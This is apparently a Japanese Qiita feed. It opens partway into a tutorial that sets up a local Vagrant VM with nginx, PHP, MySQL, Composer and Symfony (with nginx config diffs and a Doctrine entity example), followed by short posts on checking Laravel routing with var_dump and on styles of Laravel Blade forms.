==> box: Loading metadata for box 'bento/ubuntu-20.04'
    box: URL: https://vagrantcloud.com/bento/ubuntu-20.04
This box can work with multiple providers! The providers that it
can work with are listed below. Please review the list and choose
the provider you will be working with.

1) hyperv
2) parallels
3) virtualbox
4) vmware_desktop

Enter your choice: 3
==> box: Adding box 'bento/ubuntu-20.04' (v202005.21.0) for provider: virtualbox
    box: Downloading: https://vagrantcloud.com/bento/boxes/ubuntu-20.04/versions/202005.21.0/providers/virtualbox.box
Download redirected to host: vagrantcloud-files-production.s3.amazonaws.com
==> box: Successfully added box 'bento/ubuntu-20.04' (v202005.21.0) for 'virtualbox'!
$ vagrant box list #boxが追加されていることを確認
bento/ubuntu-20.04 (virtualbox, 202005.21.0)

1-2. 仮想マシンでubuntuを立ち上げる

好きなディレクトリを作成し、そこで作業をする

$ vagrant init bento/ubuntu-20.04
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.

VagrantFileができているので、config.vm.networkのコメントを外しておく

$ vi Vagrantfile 
- # config.vm.network "private_network", ip: "192.168.33.10"
+ config.vm.network "private_network", ip: "192.168.33.10"
$ vagrant up #仮想マシン起動
$ vagrant status #起動されていることを確認
Current machine states:

default                   running (virtualbox)

The VM is running. To stop this VM, you can run `vagrant halt` to
shut it down forcefully, or you can run `vagrant suspend` to simply
suspend the virtual machine. In either case, to restart it again,
simply run `vagrant up`.
$ vagrant ssh #仮想マシンにssh
vagrant@vagrant:~$ sudo apt-get update #apt-getをupdateしておく

2. nginxのインストール

vagrant@vagrant:~$ sudo apt install -y nginx
vagrant@vagrant:~$ nginx -v #バージョン確認
nginx version: nginx/1.18.0 (Ubuntu)
vagrant@vagrant:~$ systemctl status nginx #起動していることを確認 active (running) になっていたらOK 
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2020-07-12 20:47:53 UTC; 16s ago
       Docs: man:nginx(8)
   Main PID: 13662 (nginx)
      Tasks: 2 (limit: 1074)
     Memory: 4.4M
     CGroup: /system.slice/nginx.service
             ├─13662 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
             └─13663 nginx: worker process

Jul 12 20:47:53 vagrant systemd[1]: Starting A high performance web server and a reverse proxy server...
Jul 12 20:47:53 vagrant systemd[1]: Started A high performance web server and a reverse proxy server.
vagrant@vagrant:~$ sudo systemctl enable nginx #自動起動を設定
Synchronizing state of nginx.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable nginx

3. phpのインストール

3-1. インストール

vagrant@vagrant:~$ sudo apt install -y php php-cli php-fpm php-json php-pdo php-mysql php-zip php-gd  php-mbstring php-curl php-xml php-pear php-bcmath

省略

vagrant@vagrant:~$ php --version
PHP 7.4.3 (cli) (built: May 26 2020 12:24:22) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies

4. phpをnginxで動くようにする

4-1. fastcgi_paramsに追加

vagrant@vagrant:~$ sudo vim /etc/nginx/fastcgi_params

↓を追加する

fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;

4-2 sites-available/default を修正

vagrant@vagrant:~$ sudo vim /etc/nginx/sites-available/default

↓のように修正

-        index index.html index.htm index.nginx-debian.html;
+        index index.php index.html index.htm index.nginx-debian.html;
-        #location ~ \.php$ {
-        #       include snippets/fastcgi-php.conf;
-        #
-        #       # With php-fpm (or other unix sockets):
-        #       fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
-        #       # With php-cgi (or other tcp sockets):
-        #       fastcgi_pass 127.0.0.1:9000;
-        #}
+        location ~ \.php$ {
+                include snippets/fastcgi-php.conf;
+
+                # With php-fpm (or other unix sockets):
+                fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+                # With php-cgi (or other tcp sockets):
+                # fastcgi_pass 127.0.0.1:9000;
+                include fastcgi_params;
+        }
vagrant@vagrant:~$ sudo service nginx restart #nginx再起動

4-3. 確認

vagrant@vagrant:~$ sudo sh -c "echo '<?php phpinfo();' > /var/www/html/index.php" #nginxのルートにindex.php作成

最初にVagrantfileで設定したipアドレスにブラウザからアクセス

http://192.168.33.10/

Screen Shot 2020-07-13 at 6.02.15.png

5. mysqlのインストール

vagrant@vagrant:~$ sudo apt install -y mysql-server

mysqlのパスワードを設定し、"sample"と言う名前のスキーマを作成する

vagrant@vagrant:~$ sudo mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.20-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root'; -- パスワードをrootに設定
Query OK, 0 rows affected (0.00 sec)

mysql> create database sample character set utf8mb4 collate utf8mb4_general_ci; -- データベースを作成する
Query OK, 1 row affected (0.00 sec)

mysql> show schemas; -- 確認
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sample             |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> quit
Bye
vagrant@vagrant:~$ 

6. composerダウンロード

注意

https://getcomposer.org/download/

composerのダウンロードページには以下のようにWARNINGがあるため、composerのダウンロードは必ず公式の方を参照してください。

Google翻訳

警告:インストールコードを再配布しないでください。インストーラのバージョンごとに異なります。代わりに、このページにリンクするか、Composerをプログラムでインストールする方法を確認してください。

vagrant@vagrant:~$ php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
vagrant@vagrant:~$ php -r "if (hash_file('sha384', 'composer-setup.php') === 'e5325b19b381bfd88ce90a5ddb7823406b2a38cff6bb704b0acc289a09c8128d4a8ce2bbafcd1fcbdc38666422fe2806') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
Installer verified
vagrant@vagrant:~$ php composer-setup.php
All settings correct for using Composer
Downloading...

Composer (version 1.10.8) successfully installed to: /home/vagrant/composer.phar
Use it: php composer.phar

vagrant@vagrant:~$ php -r "unlink('composer-setup.php');"
vagrant@vagrant:~$ sudo mv composer.phar /usr/local/bin/composer
vagrant@vagrant:~$ composer -V
Composer version 1.10.8 2020-06-24 21:23:30

7. symfonyのセットアップ

7-1. ブラウザで見れるまで

vagrant@vagrant:~$ cd /var/www/html/

vagrant@vagrant:/var/www/html$ sudo chmod 777 . #ローカルの開発環境なので雑に777に設定

vagrant@vagrant:/var/www/html$ composer create-project symfony/website-skeleton symfony #symfonyというフォルダでプロジェクト作成

symfonyのバージョンを指定する場合はcomposer create-project symfony/website-skeleton:^5.1 symfony

プロジェクトが作成されて↓にブラウザでアクセスするとsymfonyが動作していることを確認できる

http://192.168.33.10/symfony/public/

Screen Shot 2020-07-13 at 6.12.55.png

7-2. nginxの設定

トップページのurlをhttp://192.168.33.10/symfony/public/ から http://192.168.33.10 で実行できるようにし、ルーティング(どんなurlでアクセスされても/var/www/html/symfony/public/index.phpの処理を実行する)も設定する

vagrant@vagrant:/var/www/html$ sudo vim /etc/nginx/sites-available/default 

↓のように変更する

-        root /var/www/html;
+        root /var/www/html/symfony/public;
         location / {
                 # First attempt to serve request as file, then
                 # as directory, then fall back to displaying a 404.
-                try_files $uri $uri/ =404;
+                # try_files $uri $uri/ =404;
+                try_files $uri $uri/ /index.php;
         }
vagrant@vagrant:/var/www/html$ sudo service nginx restart #nginx再起動

http://192.168.33.10/ でsymfonyの画面が表示されたことを確認

Screen Shot 2020-07-13 at 6.19.14.png

ルーティングの確認

vagrant@vagrant:/var/www/html$ cd /var/www/html/symfony/
vagrant@vagrant:/var/www/html/symfony$ php bin/console make:controller ProductController #コントローラ作成

↓が作成された

src/Controller/ProductController.php
<?php

namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Routing\Annotation\Route;

class ProductController extends AbstractController
{
    /**
     * @Route("/product", name="product")
     */
    public function index()
    {
        return $this->render('product/index.html.twig', [
            'controller_name' => 'ProductController',
        ]);
    }
}

http://192.168.33.10/product にアクセスしてProductControllerの内容が表示されたことを確認できました

Screen Shot 2020-07-13 at 6.23.16.png

7-3. データベースに保存する

.envを書き換える

/var/www/html/symfony/.env
- DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7
+ DATABASE_URL=mysql://root:root@127.0.0.1:3306/sample?serverVersion=8.0

公式( Databases and the Doctrine ORM (Symfony Docs) )の通りにEntityを作成してみて、接続できる確認してみる

vagrant@vagrant:/var/www/html/symfony$ php bin/console make:entity

 Class name of the entity to create or update (e.g. GrumpyJellybean):
 > Product

 created: src/Entity/Product.php
 created: src/Repository/ProductRepository.php

 Entity generated! Now let's add some fields!
 You can always add more fields later manually or by re-running this command.

 New property name (press <return> to stop adding fields):
 > name

 Field type (enter ? to see all types) [string]:
 > string

 Field length [255]:
 > 255 

 Can this field be null in the database (nullable) (yes/no) [no]:
 > no

 updated: src/Entity/Product.php

 Add another property? Enter the property name (or press <return> to stop adding fields):
 > price

 Field type (enter ? to see all types) [string]:
 > integer

 Can this field be null in the database (nullable) (yes/no) [no]:
 > no

 updated: src/Entity/Product.php

 Add another property? Enter the property name (or press <return> to stop adding fields):
 > 



  Success! 


 Next: When you're ready, create a migration with php bin/console make:migration

src/Entity/Product.phpsrc/Repository/ProductRepository.php が作成される


vagrant@vagrant:/var/www/html/symfony$ php bin/console make:migration #migrationファイル作成


  Success! 


 Next: Review the new migration "src/Migrations/Version20200712212921.php"
 Then: Run the migration with php bin/console doctrine:migrations:migrate
 See https://symfony.com/doc/current/bundles/DoctrineMigrationsBundle/index.html

src/Migrations/Version20200712212921.php が作成される


vagrant@vagrant:/var/www/html/symfony$ php bin/console doctrine:migrations:migrate #migration実行

                    Application Migrations                    


WARNING! You are about to execute a database migration that could result in schema changes and data loss. Are you sure you wish to continue? (y/n)y
Migrating up to 20200712212921 from 0

  ++ migrating 20200712212921

     -> CREATE TABLE product (id INT AUTO_INCREMENT NOT NULL, name VARCHAR(255) NOT NULL, price INT NOT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE `utf8mb4_unicode_ci` ENGINE = InnoDB

  ++ migrated (took 55.7ms, used 18M memory)

  ------------------------

  ++ finished in 59.4ms
  ++ used 18M memory
  ++ 1 migrations executed
  ++ 1 sql queries
vagrant@vagrant:/var/www/html/symfony$ mysql -uroot -proot sample -e 'show tables;' #テーブルができているか確認
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------------------+
| Tables_in_sample   |
+--------------------+
| migration_versions |
| product            |
+--------------------+

ProductController修正

src/Controller/ProductController.php
  <?php
  namespace App\Controller;


+ use App\Entity\Product;
  use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  use Symfony\Component\Routing\Annotation\Route;

  class ProductController extends AbstractController
  {
    /**
     * @Route("/product", name="product")
     */
     public function index()
     {
+        // 保存
+        $entityManager = $this->getDoctrine()->getManager();
+        $product = new Product();
+        $product->setName('Keyboard');
+        $product->setPrice(1999);
+        $entityManager->persist($product);
+        $entityManager->flush();
+
+        // 取得
+        $id = 1;
+        $product = $this->getDoctrine()
+            ->getRepository(Product::class)
+            ->find($id);
+        if (!$product) {
+            throw $this->createNotFoundException(
+                'No product found for id '.$id
+            );
+        }
+        dd($product);

         return $this->render('product/index.html.twig', [
             'controller_name' => 'ProductController',
         ]);
     }

テーブルへのアクセスができました

Screen Shot 2020-07-13 at 6.33.27.png

最後まで見ていただいてありがとうございましたm(_ _)m

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel 最小限の記載でルーティングとコントローラの記載が正しいか確認する

目的

  • 最小限のコードでルーティングとコントローラの記載が正しいことを確認するコードを紹介する。

実施環境

  • ハードウェア環境
項目 情報
OS macOS Catalina(10.15.5)
ハードウェア MacBook Pro (13-inch, 2020, Four Thunderbolt 3 ports)
プロセッサ 2 GHz クアッドコアIntel Core i5
メモリ 32 GB 3733 MHz LPDDR4
グラフィックス Intel Iris Plus Graphics 1536 MB
  • ソフトウェア環境
項目 情報 備考
PHP バージョン 7.4.3 Homwbrewを用いて導入
Laravel バージョン 7.0.8 commposerを用いてこちらの方法で導入→Mac Laravelの環境構築を行う
MySQLバージョン 8.0.19 for osx10.13 on x86_64 Homwbrewを用いてこちらの方法で導入→Mac HomebrewでMySQLをインストールする

紹介

  • ルーティングの記載とコントローラ、アクションの作成後、アクション内に下記のコードを記載する。

    //var_dumpで出力する文字列はaaaでなくても構わない。
    var_dump('aaa');
    exit;
    
  • 当該コントローラのアクションと紐づいているURLのリンクにブラウザからアクセスして下記の表示が出ればルーティングの記載、コントローラの記載、アクションの記載が正しいということとなる。

    localhost_8080_item_1_1_1.png

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

フォームの書き方いろいろ

前提条件

  • laravelで書いています。
  • blade.phpの書き方

一般的なフォーム

フォームの中に、サーバーに送りたいデータ(inputタグ)があって、それをbuttonタグでサブミットしている。

<form action="{{ route('create') }}" method="post">
    @csrf
    <div class="md-form">
      <label for="name">名前</label>
      <input  class="form-control" type="text" id="name" name="name" value="{{ old('name') }}" required>
    </div>

    <button class="btn btn-block" type="submit">送信</button>
</form>

ボタンを外出ししたもの。

formタグをblade.phpの下の方にまとめておいて、どのフォームとどのボタンが連携しているのかを

<form id="buttonタグのform属性と同じ名前"></form>
<button form="formタグのidと同じ名前">送信</button>

formタグの、id属性
buttonタグのform属性
で連携させているもの。

<form id="buttonタグのform属性と同じ名前" action="{{ route('hoge') }}" method="post">
    @csrf
    <div class="md-form">
      <label for="name">名前</label>
      <input  class="form-control" type="text" id="name" name="name" value="{{ old('name') }}" required>
    </div>
</form>

<button form="formタグのidと同じ名前" class="btn btn-block" type="submit">送信</button>

formタグ、inputタグ、buttonタグをそれぞれ別にしたもの。

一つの画面で、何箇所もボタンがあったり
登録するデータの量が膨大なとき
以下のように書いている現場があった。

formタグ、inputタグ、buttonタグをまとめるのではなく、
別々にすることで、コードを見やすくすることが目的。

書き方の雛形としては、こう。


<button form="formタグのidと同じ名前" class="btn btn-block" type="submit">送信</button>


<form id="buttonタグのform属性と同じ名前" action="{{ route('hoge') }}" method="post">
    @csrf
</form>

<input form="formタグのidと同じ名前" type="text" id="name" name="name" value="{{ old('name') }}" required>


なにか登録用のデータを流したいんだとしたら、自分ならこうする。(その現場に合わせるなら)


<button form="store" class="btn btn-block" type="submit">保存</button>

<button form="search" class="btn btn-block" type="submit">検索</button>


<form id="store" action="{{ route('store') }}" method="post">
    @csrf
</form>
<form id="search" action="{{ route('search') }}" method="post">
    @csrf
</form>

<input form="store" type="text" id="name" name="name" value="{{ old('name') }}" required>
<input form="store" type="text" id="email" name="email" value="{{ old('email') }}" required>
<input form="store" type="text" id="address" name="address" value="{{ old('addless') }}" required>
<input form="store" type="text" id="tel" name="tel" value="{{ old('tel') }}" required>
<input form="search" type="text" id="hoge" name="hoge" value="{{ old('hoge') }}" required>
<input form="search" type="text" id="fuga" name="fuga" value="{{ old('fuga') }}" required>


  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む